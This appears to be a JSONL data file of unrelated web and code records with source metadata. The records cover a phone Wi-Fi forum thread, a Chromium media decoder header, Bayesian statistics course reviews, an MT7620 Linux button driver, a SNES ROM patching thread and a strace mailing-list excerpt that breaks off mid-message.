{"text": "will i need a sim to use Optimus 1 as a wifi only device?\nI've got an old iphone not setup on any carrier. Just for poking around the web and apps.\nNow I want to do the same for an optimus one. Will I need a sim if I only want to use it as a wifi device?\nwell i called telus and the tech said it \"should\" work without a sim card. the vanilla iphone has no sim card and it works so...\nnow to just find one. btw I am using viber on the iphone and making calls and sending sms messages without any carrier.\nNo sim required for wifi use only.\nI use an optimus 1 in canada on Bell and an optimus t in the us on t-mobile.\nWhen I am not using one of the phones, I take out the sim and use it download music or files through wifi with no problem.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Follow these rules when defining structures in MATLAB\nFor each structure input or output in a MATLAB\nFunction block, you must define a\nin the base workspace to specify its type. For more information, see\nMATLAB Function blocks support nonvirtual\nbuses only (see Working with Virtual and Nonvirtual Buses).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 64, "token_count_with_eod": 65, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef MEDIA_FILTERS_DECODER_STREAM_H_\n#define MEDIA_FILTERS_DECODER_STREAM_H_\n\n#include <list>\n#include <memory>\n#include <vector>\n\n#include \"base/callback.h\"\n#include \"base/compiler_specific.h\"\n#include \"base/containers/circular_deque.h\"\n#include \"base/memory/ref_counted.h\"\n#include \"base/memory/weak_ptr.h\"\n#include \"base/util/type_safety/pass_key.h\"\n#include \"media/base/audio_decoder.h\"\n#include \"media/base/audio_timestamp_helper.h\"\n#include \"media/base/demuxer_stream.h\"\n#include \"media/base/media_export.h\"\n#include \"media/base/media_log.h\"\n#include \"media/base/moving_average.h\"\n#include \"media/base/pipeline_status.h\"\n#include \"media/base/timestamp_constants.h\"\n#include \"media/base/waiting.h\"\n#include \"media/filters/decoder_selector.h\"\n#include \"media/filters/decoder_stream_traits.h\"\n\nnamespace base {\nclass SingleThreadTaskRunner;\n}\n\nnamespace media {\n\nclass CdmContext;\nclass DecryptingDemuxerStream;\n\n// Wraps a DemuxerStream and a list of Decoders and provides decoded\n// output to its client (e.g. Audio/VideoRendererImpl).\ntemplate <DemuxerStream::Type StreamType>\nclass MEDIA_EXPORT DecoderStream {\n public:\n  using StreamTraits = DecoderStreamTraits<StreamType>;\n  using Decoder = typename StreamTraits::DecoderType;\n  using Output = typename StreamTraits::OutputType;\n  using DecoderConfig = typename StreamTraits::DecoderConfigType;\n\n  enum ReadStatus {\n    OK,                    // Everything went as planned.\n    ABORTED,               // Read aborted due to Reset() during pending read.\n    DEMUXER_READ_ABORTED,  // Demuxer returned aborted read.\n    DECODE_ERROR,          // Decoder returned decode error.\n  };\n\n  // Callback to create a list of decoders.\n  using CreateDecodersCB =\n      base::RepeatingCallback<std::vector<std::unique_ptr<Decoder>>()>;\n\n  // Indicates completion of a DecoderStream initialization.\n  using InitCB = base::OnceCallback<void(bool success)>;\n\n  // Indicates completion of a DecoderStream read.\n  using ReadCB = base::OnceCallback<void(ReadStatus, scoped_refptr<Output>)>;\n\n  DecoderStream(std::unique_ptr<DecoderStreamTraits<StreamType>> traits,\n                const scoped_refptr<base::SingleThreadTaskRunner>& task_runner,\n                CreateDecodersCB create_decoders_cb,\n                MediaLog* media_log);\n  virtual ~DecoderStream();\n\n  // Initializes the DecoderStream and returns the initialization result\n  // through |init_cb|. Note that |init_cb| is always called asynchronously.\n  // |cdm_context| can be used to handle encrypted stream. Can be null if the\n  // stream is not encrypted.\n  void Initialize(DemuxerStream* stream,\n                  InitCB init_cb,\n                  CdmContext* cdm_context,\n                  StatisticsCB statistics_cb,\n                  WaitingCB waiting_cb);\n\n  // Reads a decoded Output and returns it via the |read_cb|. Note that\n  // |read_cb| is always called asynchronously. This method should only be\n  // called after initialization has succeeded and must not be called during\n  // pending Reset().\n  void Read(ReadCB read_cb);\n\n  // Resets the decoder, flushes all decoded outputs and/or internal buffers,\n  // fires any existing pending read callback and calls |closure| on completion.\n  // Note that |closure| is always called asynchronously. This method should\n  // only be called after initialization has succeeded and must not be called\n  // during pending Reset().\n  // N.B: If the decoder stream has run into an error, calling this method does\n  // not 'reset' it to a normal state.\n  void Reset(base::OnceClosure closure);\n\n  // Returns true if the decoder currently has the ability to decode and return\n  // an Output.\n  bool CanReadWithoutStalling() const;\n\n  base::TimeDelta AverageDuration() const;\n\n  // Indicates that outputs need preparation (e.g., copying into GPU buffers)\n  // before being marked as ready. When an output is given by the decoder it\n  // will be added to |unprepared_outputs_| if a PrepareCB has been specified.\n  // If the size of |ready_outputs_| is less than\n  // Decoder::GetMaxDecodeRequests(), the provided PrepareCB will be called for\n  // the output. Once an output has been prepared by the PrepareCB it must call\n  // the given OutputReadyCB with the prepared output.\n  //\n  // This process is structured such that only a fixed number of outputs are\n  // prepared at any one time; this alleviates resource usage issues incurred by\n  // the preparation process when a decoder has a burst of outputs after on\n  // Decode(). For more context on why, see https://crbug.com/820167.\n  using OutputReadyCB = base::OnceCallback<void(scoped_refptr<Output>)>;\n  using PrepareCB =\n      base::RepeatingCallback<void(scoped_refptr<Output>, OutputReadyCB)>;\n  void SetPrepareCB(PrepareCB prepare_cb);\n\n  // Indicates that we won't need to prepare outputs before |start_timestamp|,\n  // so that the preparation step (which is generally expensive) can be skipped.\n  void SkipPrepareUntil(base::TimeDelta start_timestamp);\n\n  // Allows callers to register for notification of config changes; this is\n  // called immediately after receiving the 'kConfigChanged' status from the\n  // DemuxerStream, before any action is taken to handle the config change.\n  using ConfigChangeObserverCB =\n      base::RepeatingCallback<void(const DecoderConfig&)>;\n  void set_config_change_observer(\n      ConfigChangeObserverCB config_change_observer) {\n    config_change_observer_cb_ = config_change_observer;\n  }\n\n  // Allows tests to keep track the currently selected decoder.\n  using DecoderChangeObserverCB = base::RepeatingCallback<void(Decoder*)>;\n  void set_decoder_change_observer_for_testing(\n      DecoderChangeObserverCB decoder_change_observer_cb) {\n    decoder_change_observer_cb_ = std::move(decoder_change_observer_cb);\n  }\n\n  int get_pending_buffers_size_for_testing() const {\n    return pending_buffers_.size();\n  }\n\n  int get_fallback_buffers_size_for_testing() const {\n    return fallback_buffers_.size();\n  }\n\n  bool is_demuxer_read_pending() const { return pending_demuxer_read_; }\n\n  DecoderSelector<StreamType>& GetDecoderSelectorForTesting(\n      util::PassKey<class VideoDecoderStreamTest>) {\n    return decoder_selector_;\n  }\n\n private:\n  enum State {\n    STATE_UNINITIALIZED,\n    STATE_INITIALIZING,\n    STATE_NORMAL,  // Includes idle, pending decoder decode/reset.\n    STATE_FLUSHING_DECODER,\n    STATE_REINITIALIZING_DECODER,\n    STATE_END_OF_STREAM,  // End of stream reached; returns EOS on all reads.\n    STATE_ERROR,\n  };\n\n  // Returns the string representation of the StreamType for logging purpose.\n  std::string GetStreamTypeString();\n\n  // Returns maximum concurrent decode requests for the current |decoder_|.\n  int GetMaxDecodeRequests() const;\n\n  // Returns the maximum number of outputs we should keep ready at any one time.\n  int GetMaxReadyOutputs() const;\n\n  // Returns true if one more decode request can be submitted to the decoder.\n  bool CanDecodeMore() const;\n\n  void SelectDecoder();\n\n  // Called when |decoder_selector| selected the |selected_decoder|.\n  // |decrypting_demuxer_stream| was also populated if a DecryptingDemuxerStream\n  // is created to help decrypt the encrypted stream.\n  void OnDecoderSelected(\n      std::unique_ptr<Decoder> selected_decoder,\n      std::unique_ptr<DecryptingDemuxerStream> decrypting_demuxer_stream);\n\n  // Satisfy pending |read_cb_| with |status| and |output|.\n  void SatisfyRead(ReadStatus status, scoped_refptr<Output> output);\n\n  // Decodes |buffer| and returns the result via OnDecodeOutputReady().\n  // Saves |buffer| into |pending_buffers_| if appropriate.\n  void Decode(scoped_refptr<DecoderBuffer> buffer);\n\n  // Performs the heavy lifting of the decode call.\n  void DecodeInternal(scoped_refptr<DecoderBuffer> buffer);\n\n  // Flushes the decoder with an EOS buffer to retrieve internally buffered\n  // decoder output.\n  void FlushDecoder();\n\n  // Callback for Decoder::Decode().\n  void OnDecodeDone(int buffer_size,\n                    bool end_of_stream,\n                    std::unique_ptr<ScopedDecodeTrace> trace_event,\n                    DecodeStatus status);\n\n  // Output callback passed to Decoder::Initialize().\n  void OnDecodeOutputReady(scoped_refptr<Output> output);\n\n  // Reads a buffer from |stream_| and returns the result via OnBufferReady().\n  void ReadFromDemuxerStream();\n\n  // Callback for DemuxerStream::Read().\n  void OnBufferReady(DemuxerStream::Status status,\n                     scoped_refptr<DecoderBuffer> buffer);\n\n  void ReinitializeDecoder();\n\n  void CompleteDecoderReinitialization(bool success);\n\n  void ResetDecoder();\n  void OnDecoderReset();\n\n  void ClearOutputs();\n  void MaybePrepareAnotherOutput();\n  void OnPreparedOutputReady(scoped_refptr<Output> frame);\n  void CompletePrepare(const Output* output);\n\n  std::unique_ptr<DecoderStreamTraits<StreamType>> traits_;\n\n  scoped_refptr<base::SingleThreadTaskRunner> task_runner_;\n  MediaLog* media_log_;\n\n  State state_;\n\n  StatisticsCB statistics_cb_;\n  InitCB init_cb_;\n  WaitingCB waiting_cb_;\n\n  ReadCB read_cb_;\n  base::OnceClosure reset_cb_;\n\n  DemuxerStream* stream_;\n\n  CdmContext* cdm_context_;\n\n  std::unique_ptr<Decoder> decoder_;\n\n  // Whether |decoder_| has produced a frame yet. Reset on fallback.\n  bool decoder_produced_a_frame_;\n\n  std::unique_ptr<DecryptingDemuxerStream> decrypting_demuxer_stream_;\n\n  // Note: Holds pointers to |traits_|, |stream_|, |decrypting_demuxer_stream_|,\n  // and |cdm_context_|.\n  DecoderSelector<StreamType> decoder_selector_;\n\n  ConfigChangeObserverCB config_change_observer_cb_;\n  DecoderChangeObserverCB decoder_change_observer_cb_;\n\n  // An end-of-stream buffer has been sent for decoding, no more buffers should\n  // be sent for decoding until it completes.\n  // TODO(sandersd): Turn this into a State. http://crbug.com/408316\n  bool decoding_eos_;\n\n  PrepareCB prepare_cb_;\n  bool preparing_output_;\n\n  // Decoded buffers that haven't been read yet. If |prepare_cb_| has been set\n  // |unprepared_outputs_| will contain buffers which haven't been prepared yet.\n  // Once prepared or if preparation is not required, outputs will be put into\n  // |ready_outputs_|.\n  base::circular_deque<scoped_refptr<Output>> unprepared_outputs_;\n  base::circular_deque<scoped_refptr<Output>> ready_outputs_;\n\n  // Number of outstanding decode requests sent to the |decoder_|.\n  int pending_decode_requests_;\n\n  // Tracks the duration of incoming packets over time.\n  MovingAverage duration_tracker_;\n\n  // Stores buffers that might be reused if the decoder fails right after\n  // Initialize().\n  base::circular_deque<scoped_refptr<DecoderBuffer>> pending_buffers_;\n\n  // Stores buffers that are guaranteed to be fed to the decoder before fetching\n  // more from the demuxer stream. All buffers in this queue first were in\n  // |pending_buffers_|.\n  base::circular_deque<scoped_refptr<DecoderBuffer>> fallback_buffers_;\n\n  // TODO(tguilbert): support config changes during decoder fallback, see\n  // crbug.com/603713\n  bool received_config_change_during_reinit_;\n\n  // Used to track read requests; not rolled into |state_| since that is\n  // overwritten in many cases.\n  bool pending_demuxer_read_;\n\n  // Timestamp after which all outputs need to be prepared.\n  base::TimeDelta skip_prepare_until_timestamp_;\n\n  // NOTE: Weak pointers must be invalidated before all other member variables.\n  base::WeakPtrFactory<DecoderStream<StreamType>> weak_factory_{this};\n\n  // Used to invalidate pending decode requests and output callbacks.\n  base::WeakPtrFactory<DecoderStream<StreamType>> fallback_weak_factory_{this};\n\n  // Used to invalidate outputs awaiting preparation. This can't use either of\n  // the above factories since they are used to bind one time callbacks given\n  // to decoders that may not be reinitialized after Reset().\n  base::WeakPtrFactory<DecoderStream<StreamType>> prepare_weak_factory_{this};\n};\n\ntemplate <>\nbool DecoderStream<DemuxerStream::AUDIO>::CanReadWithoutStalling() const;\n\ntemplate <>\nint DecoderStream<DemuxerStream::AUDIO>::GetMaxDecodeRequests() const;\n\nusing VideoDecoderStream = DecoderStream<DemuxerStream::VIDEO>;\nusing AudioDecoderStream = DecoderStream<DemuxerStream::AUDIO>;\n\n}  // namespace media\n\n#endif  // MEDIA_FILTERS_DECODER_STREAM_H_", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Sep 01, 2017\nGood intro to Bayesian Statistics. Covers the basic concepts. Workload is reasonable and quizzes/exercises are helpful. Could include more exercises and additional backgroung/future reading materials.\nOct 17, 2020\nAn excellent course with some good hands on exercises in both R and excel. Not for the faint of heart mathematically speaking, assumes a competent understanding of statistics and probability going in\n創建者 Zhenkai S•\nOct 08, 2019\nThe course is in general well structured. The professor used a lot of mathematical equations to explain the contents. I have no problem understanding them. Everything goes smoothly, until the last section: Bayesian Linear Regression (BLE). In the last section, the professor skipped all the mathematics aspects and rushed the content with R / Excel examples. This is not what I expected. Overall, I will rate the course 4 stars.\n創建者 Lee V•\nJul 12, 2019\nThe lectures were good but rattled-along at quite a speed, even with pausing and \"rewinding\" I still found it difficult to follow, esp towards the end. I think a short explanation at the start of the video explaining what was going to be covered, what its role was and where it fitted into the big picture might have helped (background is UK maths A-level 45yrs ago and a career on the fringes of science)\n創建者 Jesse W•\nMay 22, 2017\nI feel like I have a much better understanding of Bayesian statistics after taking this course. I learned a lot, even though it didn't take very long to get through all of the class material. My only criticism is that the 4th week seems pretty scattered. It covers a lot of different topics in not a lot of detail. Ideally, this material should be broken up into 2 weeks and covered in greater depth.\n創建者 Thomas F•\nJun 29, 2017\nVery good course, I may have been at a bit of a disadvantage because I came from a behavioural sciences background rather than a full statistics or math background. It was interesting though, and I think I acquired the requisite skills to conduct a Bayesian analysis in future. However, at some points in the class it does become very formula heavy, which I did find tough to grasp at some points.\n創建者 Arasch M•\nJul 07, 2019\nThe course helps in developing a quite sound grasp of the Bayesian approach to the world. The assignments are feasible and help in gaining a deeper understanding of each subject. However there is a caveat: You definitely need to review your math skills before starting this course (esp. calculus, arithmetics and combinatorics) otherwise you'll be struggling with the particularities !\n創建者 Joshua A•\nSep 04, 2017\nExcellent introduction to Bayesian statistics. More proofs would have been nice (perhaps an optional advanced material section?). The later half of the course increases quite a bit in difficulty and could use 1-2 more examples + applications. Professor did a great job and the quizzes thoroughly tested my knowledge. Overall, I would definitely recommend this course.\n創建者 Diogo P•\nJul 19, 2017\nGreat lectures. The explanation of each topic is extremely clear and avoids excessive mathematical burden. Lectures are short and concise. Quizzes or at least Module Honors could be a bit more challenging, though. It's a great course, anyway. I'll be looking forward to enroll in the next course of the sequence, entitled \"Bayesian Statistics: Techniques and Models\".\n創建者 Francisco A d A e L•\nNov 30, 2016\nVery good course, with less emphasis in the videos and more on exercises and critical thinking, the way I like and learn the best. I particularly liked that the lecturer writes on a transparent vertical surface standing between him and the camera, very convenient. For those not so familiar with mathematics, this might hurt a bit but the payoff is super positive.\n創建者 George K•\nJul 30, 2019\nReally enjoyed the course! Thank you. I would have given a higher rating if: 1) the instructor had spend more time on the intuition underpinning different derivations, 2) provided more context, 3) discussed more examples from practice. However, I am definitely continuing on to \"Bayesian Statistics: Techniques and Models\"! Thank you once more, team UCSC!\n創建者 Anderson F•\nApr 13, 2020\nI enjoyed the course. I was looking for a way to improve my knowledge of statistics and bayesian maths. I mainly used excel for the calculations. I would appreciate an additional tutorial on plotting mass and PDF function etc against Theta and real world variables to explore impact of parameters on distribution shape on prior and posterior results.\n創建者 Tim B•\nMay 27, 2020\nExceptionally interesting class. Professor was knowledgeable and engaging. The key insight was to approach the \"quizzes\" as homework, a learning process. Some of the lectures were of variable audiovisual quality and the pacing of some sections was not uniform, but overall, a triumph. More from this professor please! Fun.\n創建者 Florian M•\nMar 02, 2018\nHerbert Lee is great at explaining the mathematics behind Bayesian statistics. However, I think the course can improve greatly by also focusing more on context and the intuition behind the mathematics. I often found that I was able to pass all quizzes, while I did not 100% understand why I was doing what I was doing.\n創建者 JAY C•\nJun 12, 2020\nGreat discussion into the ideas. The quizzes are relevant to the lectures as well and pretty straightforward, you don't need to go outside of the lecture itself to be able to do the quizzes. the only thing would be it would be good if the lectures notes were in print as Prof. Lee's writing is sometimes hard to read.\n創建者 Ali Z•\nNov 22, 2016\nAs a grad student myself, I liked the way this course was presented in short video format and in only 4 weeks. Definitely there are much more to learn about Bayesian Statistics and one can go way deeper, but this course gives the required basic Bayesian knowledge to someone who wants to get familiar in a short time.\n創建者 Aditya D•\nJul 17, 2019\nThe course itself is well structured and covers a lot of material.\nThere are points in the course where the order of reading material and videos needs to be switched. Also, it would help to update some videos with a little more explanation. It appears as if the lecturer is skipping steps.\n創建者 Marc D•\nJan 26, 2019\nI liked it as introduction to Baysian statistics. With the material provided it was quite easily possible to answer the questions. I would have preferred that the videos of the course contained all the material and that it would not have been required to have read through material.\n創建者 Thierry C•\nOct 01, 2019\nThe course was well explained and there were several exercises pushing the learner to understand the logic behind the mathematical concept. I think it is a suitable class for people with already a certain level of statistics knowledge, even though all concepts are well explained.\n創建者 Jose N d l R•\nApr 17, 2017\nI think that, besides lesson 11 and 12, everything was very well explained. I was a bit confused with lessons 11 and 12 since I am not new to econometrics. Perhaps I found it confusing the theory background related to the lessons themselves. Just my opinion, very good course.\n創建者 Praveen K•\nJun 01, 2020\nThe course was very well designed, I got to learn about a lot of new things in statistics that I had to understand. But for a Data Analyst working on large data sets and primarily working on ML this course is far too basic. Also, some of the concepts can be explained better.\n創建者 Łukasz F•\nFeb 05, 2019\nI really liked the course.\nWhat I think could be nice improvement would be more nsightful notes. Which means, that after every video, there should be a separate sheet with all the formulas being described in more detail, so that you can refer to them any time during quizes.\n創建者 Thomas J M•\nMay 22, 2018\nOverall the course is pretty good. They breakdown the concepts into clear and concise lectures. My only grip, is that the quizzes occur a little too frequently. They really interrupt the flow of the class. I would definitely prefer them spaced in 30-60 minute interval.\n創建者 Ekaterini T•\nOct 31, 2018\nI found the need to search for most of the material needed to understand the lessons in other sources. Other than than it was a relatively easy class, which covers nearly the basics. This is not a tutorial on Data Analysis on R, although a short introduction is provided.\n創建者 Mohd S K•\nNov 19, 2019\nCourse covers the concept in a very simple way. Examples and assignments are very good.\nHowever some of the statements made throughout the lectures needs more explanation , the course did not dedicate any videos to get familiar with terminology related to probability.\n創建者 Luiz G S S•\nApr 17, 2020\nIt is a really interesting course. However, I think it should include more examples and meaningful ways to estimates some parameters. For example, how can I estimate alpha and beta for an Inverse-Gamma distribution in order to obtain a prior for the sigma-squared?\nJan 14, 2017\nPen hard to see against shirt. Was mildly irritating to wait for prof to write out stuff, maybe prewrite it?\nWent too fast forward for me, would've liked complementary optional material, eg extra quizzes, to help understand and get used to the tougher parts.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Survey of Web Browsers for Windows Mobile – Windows Mobile Team Blog - Browser on q9h sucks\n- Views: 886 369\nThe more you use a browser, the more you bog it down. Which is why you should never trust that new browser smell: every browser sucks. We now have one less browser engine, and a last man standing (Firefox) in deep trouble (reasons below). If you agree that this sucks, install.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 96, "token_count_with_eod": 97, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Thanks to the courtesy of Mr. Tomasz Kozar who collaborates with our project we received an invitation to the Microsoft headquarters in Warsaw. It was an enriching experience. Our work went according to the agenda.\nOur friend Kacper Jańczuk was a speaker during a conference at the Polish-Japanese Academy of Computer Technics which was organized by the Institute of Informatics Education and Computer Application in Warsaw (http://mrozy.net/). The presentation during the conference was aimed at showing the princpiles and teachers of other schools how can interesting interdisciplinary projects with the use of modern technologies be realized. We were presenting the 3-SAT project.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Becoming a data analyst ain’t a walk in the park, but mastering the basics is key. Learn data types, statistical measures, and data visualization. Excel or Google Sheets are your go-to tools, with functions and pivot tables ruling the game. Dive into SQL, Python, or R for\n- Learn the basics of data analysis to build a strong foundation.\n- Master spreadsheet tools like Excel or Google Sheets for data manipulation.\n- Explore data analysis tools like SQL, Python, or R for advanced skills.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 105, "token_count_with_eod": 106, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "my dismay I found out that the photos looked very well in Sam's\nlaptop, while in my PC, absolutelly dark. I am giving you two choices\nhopes that one site will look well on your monitor.\neach site has two pages to confuse things more. You have to return\nhere to make a new choice of site.\nyou know how to download an image? on the enlarged image window, right\nclick, or option-click the image and chose to save or download the", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 102, "token_count_with_eod": 103, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**********************************************************************\r\n * Copyright (c), 1991-2013, T&W ELECTRONICS(SHENTHEN) Co., Ltd.\r\n * MT7620 Buttons driver\r\n**********************************************************************/\r\n#include <linux/kernel.h>\r\n#include <linux/init.h>\r\n#include <linux/module.h>\r\n#include <linux/version.h>\r\n#include <linux/signal.h>\r\n#include <linux/interrupt.h>\r\n#include <linux/irq.h>\r\n#include <linux/resource.h>\r\n#include <linux/timer.h>\r\n#include <linux/sched.h>\r\n#include <linux/net.h>\r\n#include <linux/netdevice.h>\r\n#include <linux/skbuff.h>\r\n#include <asm/types.h>\r\n#include <asm/irq.h>\r\n#include <asm/mach-ralink/surfboardint.h>\r\n#include \"../../../vendor/triductor/triapi/tri_ctl.h\"\r\n#include \"../../../vendor/triductor/triapi/tri_para.h\"\r\n#include <gpio.h>\r\n#include <btn.h>\r\n\r\nextern struct btn_dev btn_table[];           /* Defined in product.c */\r\nextern struct btn_cfg btn_config[];          /* Defined in product.c */\r\nextern gpio_level *btn_level;\r\n\r\nstatic gpio_level btn_level_table[4];\r\n\r\nextern int g2_ctrl_xmit(struct g2_ctrl_msg *ctrl, size_t len);\r\n\r\nstatic void gpio_interrupt_ctrl(struct btn_dev *dev, unsigned char enable)\r\n{\r\n\tunsigned char edge = IRQF_TRIGGER_NONE;\r\n\t\r\n\tif(enable) {\r\n\t\tif(GPIO_LEVEL_HIGH == dev->level) {/* Trigger at rising edge */\r\n\t\t\tedge = IRQF_TRIGGER_RISING;\r\n\t\t} else {/* Trigger at falling edge */\r\n\t\t\tedge = IRQF_TRIGGER_FALLING;\r\n\t\t}\r\n\t}\r\n\tgpio_set_edge(dev->gpio, edge);\r\n}\r\n\r\nstatic irqreturn_t button_irq_handler(int irq, void *dev_id)\r\n{\r\n    struct btn_dev *dev = NULL;\r\n\tint i;\t\r\n\r\n    for(i = 0; btn_table[i].gpio != GPIO_END; i++) {\r\n\t\tdev = &btn_table[i];\r\n\t\tif(gpio_get_ins(dev->gpio)) {/* Read IRQ status and make it clean */\r\n\t\t\tif(BTN_STATE_IDLE == dev->cur_state) {\r\n\t\t\t\tdev->int_ctrl(dev, 0);/* Disable IRQ first */\r\n\t\t\t\tmod_timer(&dev->timer, jiffies + msecs_to_jiffies(DELAY_TIME));\r\n\t\t\t}\r\n\t\t}\r\n    }\r\n\r\n    return IRQ_HANDLED;\r\n}\r\n\r\nstatic int mt7620_btn_state_read(struct btn_dev *dev)\r\n{\r\n\tint ret_val = 0;\r\n\tif(dev->gpio < GPIO73) {\r\n\t\tret_val = gpio_read(dev->gpio);\r\n\t} else {\r\n\t\tret_val = btn_level[dev->gpio - GPIO95];\r\n\t}\r\n\treturn ret_val;\r\n}\r\n\r\nstatic int __init mt7620_btn_init(void)\r\n{\r\n\tstruct btn_dev *dev = NULL;\r\n\tstruct btn_cfg *cfg = NULL;\r\n\tstruct g2_ctrl_msg msg;\r\n\tint i, j, ret_val = -EFAULT;\r\n\r\n\tret_val = btn_core_init();\r\n\tif(ret_val < 0) {\r\n\t\tgoto out;\r\n\t}\r\n\tfor(i = 0; btn_table[i].gpio != GPIO_END; i++) { \r\n\t\tdev = &btn_table[i];\r\n\t\tfor(j = 0; btn_config[j].act != BTN_MSG_END; j++) {/* Get the maximum active time for each button device */\r\n\t\t\tcfg = &btn_config[j];\r\n\t\t\tif((cfg->mem1 == dev->gpio) && (cfg->t1_max > dev->t_max)) {\r\n\t\t\t\tdev->t_max = cfg->t1_max;\r\n\t\t\t}\r\n\t\t\tif((cfg->mem2 == dev->gpio) && (cfg->t2_max > dev->t_max)) {\r\n\t\t\t\tdev->t_max = cfg->t2_max;\r\n\t\t\t}\r\n\t\t\tif((cfg->mem3 == dev->gpio) && (cfg->t3_max > dev->t_max)) {\r\n\t\t\t\tdev->t_max = cfg->t3_max;\r\n\t\t\t}\r\n\t\t}\r\n\t\tdev->btn_read = mt7620_btn_state_read;\r\n\t\tdev->cur_state = BTN_STATE_IDLE;/* Button's state initializing */\r\n\t\tsetup_timer(&dev->timer, button_timer_handler, (unsigned long)dev);/* Button event validation timer */\r\n\t\tif(dev->gpio < GPIO73) {\r\n\t\t\tdev->int_ctrl = gpio_interrupt_ctrl;\r\n\t\t\tgpio_config(dev->gpio, GPIO_IN);/* Buttons should be working at GPIO input mode */\r\n\t\t\tdev->int_ctrl(dev, 1);/* Enable IRQ */\r\n\t\t}\r\n\t}\r\n\tret_val = request_irq(SURFBOARDINT_GPIO, button_irq_handler, IRQF_SHARED, \"Button\", dev);\r\n\tif(ret_val != 0) {\r\n\t\tprintk(KERN_ERR \"unable to request IRQ for GPIO (error %d)\\n\", ret_val);\r\n\t} else {\r\n\t\tprintk(\"TBS button driver for %s initialized, IRQ=%d\\n\", PRODUCT, SURFBOARDINT_GPIO);\r\n\t}\r\n\tfor(i = 0; i < (sizeof(btn_level_table) / sizeof(gpio_level)); i++) {\r\n\t\tbtn_level_table[i] = GPIO_LEVEL_HIGH;\r\n\t}\r\n\tbtn_level = &btn_level_table[0];\r\n\tmsg.hdr.type = CTL_PKT_TYPE_SET_VAL_REQUEST;\r\n\tmsg.hdr.length = htons(sizeof(unsigned int) * 3);\r\n\tmsg.hdr.seq = htons(net_random() & 0xFFFF);\r\n\tmsg.code = htonl(PARA_CODE_GPIO_DIR);\r\n\tmsg.mask = htonl(0x00c00f80);\r\n\tmsg.value = htonl(0x00c00000);\r\n\tret_val = g2_ctrl_xmit((unsigned char *)&msg, sizeof(struct g2_ctrl_msg));\r\n\t\r\nout:\r\n\treturn ret_val;\r\n}\r\n\r\n\r\nstatic void __exit mt7620_btn_exit(void)\r\n{\r\n\tstruct btn_dev *dev = NULL;\r\n\tint i;\r\n\r\n\tfor(i=0;btn_table[i].gpio != GPIO_END; i++) {\r\n\t\tdev = &btn_table[i];\r\n\t\tif(NULL != dev->int_ctrl) {\r\n\t\t\tdev->int_ctrl(dev, IRQF_TRIGGER_NONE);/* Disable IRQ */\r\n\t\t}\r\n\t\tdev->cur_state = BTN_STATE_IDLE;\r\n\t\tdel_timer_sync(&dev->timer);\r\n\t\tdev->int_ctrl = NULL;\r\n\t\tdev->btn_read = NULL;\r\n\t}\r\n\tfree_irq(SURFBOARDINT_GPIO, dev);\r\n\tbtn_level = NULL;\r\n\tbtn_core_exit();\r\n}\r\n\r\nmodule_init(mt7620_btn_init);\r\nmodule_exit(mt7620_btn_exit);\r\n\r\nMODULE_AUTHOR(\"XiaChaoRen\");\r\nMODULE_DESCRIPTION(\"MT7620 buttons driver\");\r\nMODULE_LICENSE(\"GPL\");", "source": "cpt_stack_code", "language": "code", "token_count": 1494, "token_count_with_eod": 1495, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Downgrading website management subscriptions means losing access to premium speed and security optimization services. If you move forward with the downgrade, just make sure these are things you're prepared to handle yourself!\nYou can upgrade, downgrade or cancel your website management subscription(s) anytime by:\n- emailing our support team the request directly\n- submitting your upgrade/downgrade request through our ticket dashboard.\nYou can upgrade, downgrade or cancel website management subscriptions for your clients anytime by following the instructions here.\n- 👨💻 Sign up for your WP Buffs website management subscription(s)\n- 📆 Schedule your private, 1-on-1 discovery call (required for white-label partners)\n- ✔️ Complete our care plan questionnaire (see which plans are the best fit for you)\n- 👻 Learn more about our White Label service", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Headered SNES roms used to be the norm in the late 90's, since back then ROM copiers actually used them for something (storing ROM type, mapping etc.). So the rule of thumb is that if a patch is very old and there are no specific instructions, there's a good change it needs a headered ROM. This also applies to the early 00's.\nIncidentally, I remember a tool which allowed you to tweak patches themselves to work with headerless ROMs, but can't find it at the moment.\nMaybe this is the one? it worked for me in cases the patch asked for a headered rom, but I wanted to apply other patches that didn't and it became a real mess, so removing the header from the patches themselves was the only way to solve it.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Experience from writing trace_inputs.py\nmaruel at chromium.org\nFri Mar 21 14:49:55 UTC 2014\nWe got a race conditions with our emails, sorry for the duplicated arguments.\nIn short, we are in agreement.\n2014-03-21 9:43 GMT-04:00 Philippe Ombredanne <pombredanne at nexb.com>:\n> In your case using the standard Python shlex module may be of some help?\nEh, definitely a lack of knowledge on my part as I didn't know about\nshlex. I would have saved some work there.\n> Indeed in newer strace versions some things may either have been fixed\n> or there are new features that could help alleviate some of your\n> You might be using 4.5.20: a goodie but oldie.\n> For instance it does not have the important --in your case-- -y option\n> for absolute file descriptor paths decoding.\nYes I'm on 4.5.20. I mildly recall hitting problems when trying to\ncompile strace's tip of tree since I think (?) it required a newer gcc\nversion than the stock one (4.6.3) in 12.04. That was in 2012. At that\npoint, I wanted the tool to be usable as is for devs so I decided\nagainst requiring a newer version.\n>> In practice, I stumbled upon a lot of issues while reading the logs;\n>> - Processes being killed arbitrarily, causing all 